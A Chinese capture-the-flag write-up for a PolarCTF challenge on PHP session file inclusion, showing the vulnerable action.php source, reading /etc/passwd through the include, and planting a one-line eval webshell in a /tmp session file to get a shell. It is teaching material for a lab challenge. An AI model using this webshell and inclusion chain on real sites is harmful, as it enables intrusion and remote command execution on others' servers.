【PolarCTF】session文件包含

开局一个输入框提示输入名字

随便输入进行抓包

很明显是存在一个文件包含漏洞的

先通过base64读取index.php,看看有没有什么有用信息

index.php没什么有用信息

尝试读取下/etc/passwd,是正常的没问题

那么就看看action.php,里面有没有什么有用的东西

action.php的代码如下

php 复制代码
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

通过action.php我们就可以发现漏洞点

session_start()会出发session机制在/tmp目录下生成要给session缓存文件一般格式的话都是:"sess_" + Cookie中PHPSESSION的值

可以看到下面这段代码会接收name的参数值放入session中

php 复制代码
$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}

紧接着这句话文件包含

php 复制代码
include($_GET['file']);

我们就有如下的攻击思路:

使用POST方法通过name参数传递一个一句话------>此时就会在/tmp产生一个文件名可猜的session缓存文件,里面是包含用name参数的的一句话木马------>然后使用file参数将这个缓存文件进行包含,得到webshell

我们先将一句话木马打入session缓存文件,可以多点几次让其生效

php 复制代码
"<?php @eval($_POST['a']);?>"

然后直接文件包含那个缓存文件即可getshell

或者我们也可以不用蚁剑,直接使用system执行命令,然后包含缓存得到结果

注意着这个过程中,可能要多点几次才能生效,因为要写入session

相关推荐
2401_873479406 小时前
企业安全团队如何配合公安协查?IP查询在电子取证中的技术实践
tcp/ip·安全·网络安全·php
网安情报局8 小时前
如何选择合适的AI大模型:快快云安全AI大模型聚合平台全解析
人工智能·网络安全·ai大模型
忡黑梨9 小时前
eNSP_从直连到BGP全网互通
c语言·网络·数据结构·python·算法·网络安全
其实防守也摸鱼10 小时前
带你了解与配置phpmyadmin
笔记·安全·网络安全·pdf·编辑器·工具·调试
菩提小狗11 小时前
每日安全情报报告 · 2026-04-27
网络安全·漏洞·cve·安全情报·每日安全
Chengbei1112 小时前
面向红队的 AI 赋能全场景流量分析仪 网页 / APP / 终端 / IoT 全域 HTTPS 抓包解密利器
人工智能·物联网·网络协议·web安全·网络安全·https·系统安全
菩提小狗13 小时前
每日安全情报报告 · 2026-04-29
网络安全·漏洞·cve·安全情报·每日安全
FORCECON114 小时前
力控船舶智能运营,机舱监控IEWS/能效管理IEES/网络安全IACS,软硬件一体化解决方案
网络安全·scada·船舶·能效管理·机舱监控
漠月瑾-西安1 天前
软件忘了“擦黑板”:一次内核信息泄露事件(CVE-2024-49997)的深度剖析
网络安全·linux内核·内核安全·信息泄露·内存安全·cve漏洞分析
枷锁—sha1 天前
【CTFshow-pwn系列】03_栈溢出【pwn 073】详解:静态编译下的自动化 ROP 链构建
网络·汇编·笔记·安全·网络安全·自动化